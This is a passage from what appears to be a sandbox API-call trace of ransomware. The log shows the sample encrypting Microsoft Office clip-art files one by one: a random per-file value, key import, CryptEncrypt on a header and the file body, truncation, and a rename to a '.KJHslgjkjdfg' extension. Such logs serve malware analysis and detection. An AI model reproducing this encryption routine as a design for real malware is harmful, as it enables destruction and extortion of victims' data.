pdwDataLen=0x290f258*=0x16f0) returned 1 [0172.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.804] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16f0, lpOverlapped=0x0) returned 1 [0172.804] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.804] SetEndOfFile (hFile=0x114) returned 1 [0172.806] GetProcessHeap () returned 0x2a0000 [0172.806] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.806] GetProcessHeap () returned 0x2a0000 [0172.806] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.kjhslgjkjdfg")) returned 1 [0172.807] CloseHandle (hObject=0x114) returned 1 [0172.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0172.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.808] GetProcessHeap () returned 0x2a0000 [0172.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.808] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.808] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.810] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.810] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.810] GetProcessHeap () returned 0x2a0000 [0172.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.810] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.810] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.810] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.810] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.810] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.810] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.811] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.811] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.811] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b64, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b64, lpOverlapped=0x0) returned 1 [0172.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b70, dwBufLen=0x2b70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b70) returned 1 [0172.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.812] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b70, lpOverlapped=0x0) returned 1 [0172.812] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.812] SetEndOfFile (hFile=0x114) returned 1 [0172.814] GetProcessHeap () returned 0x2a0000 [0172.814] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.814] GetProcessHeap () returned 0x2a0000 [0172.814] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.kjhslgjkjdfg")) returned 1 [0172.815] CloseHandle (hObject=0x114) returned 1 [0172.815] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0172.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.816] GetProcessHeap () returned 0x2a0000 [0172.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.816] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.816] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.818] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.818] GetProcessHeap () returned 0x2a0000 [0172.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.818] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.818] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.818] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.818] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.819] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.819] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.819] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.819] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3734, lpOverlapped=0x0) returned 1 [0172.820] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3740, dwBufLen=0x3740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3740) returned 1 [0172.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.820] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3740, lpOverlapped=0x0) returned 1 [0172.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.820] SetEndOfFile (hFile=0x114) returned 1 [0172.822] GetProcessHeap () returned 0x2a0000 [0172.822] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.822] GetProcessHeap () returned 0x2a0000 [0172.822] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.kjhslgjkjdfg")) returned 1 [0172.823] CloseHandle (hObject=0x114) returned 1 [0172.823] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0172.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.824] GetProcessHeap () returned 0x2a0000 [0172.824] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.824] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.826] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.826] GetProcessHeap () returned 0x2a0000 [0172.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.826] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.826] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.826] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.826] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.826] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.826] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.826] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.827] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.827] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x347c, lpOverlapped=0x0) returned 1 [0172.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3480, dwBufLen=0x3480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3480) returned 1 [0172.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.828] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3480, lpOverlapped=0x0) returned 1 [0172.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.828] SetEndOfFile (hFile=0x114) returned 1 [0172.830] GetProcessHeap () returned 0x2a0000 [0172.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.830] GetProcessHeap () returned 0x2a0000 [0172.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.kjhslgjkjdfg")) returned 1 [0172.831] CloseHandle (hObject=0x114) returned 1 [0172.831] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0172.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.832] GetProcessHeap () returned 0x2a0000 [0172.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.832] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.834] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.834] GetProcessHeap () returned 0x2a0000 [0172.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.834] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.834] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.834] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.835] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.835] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.835] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3014, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3014, lpOverlapped=0x0) returned 1 [0172.836] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3020, dwBufLen=0x3020 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3020) returned 1 [0172.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.836] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3020, lpOverlapped=0x0) returned 1 [0172.836] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x30f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.836] SetEndOfFile (hFile=0x114) returned 1 [0172.838] GetProcessHeap () returned 0x2a0000 [0172.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.838] GetProcessHeap () returned 0x2a0000 [0172.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.kjhslgjkjdfg")) returned 1 [0172.839] CloseHandle (hObject=0x114) returned 1 [0172.839] FindNextFileW (in: 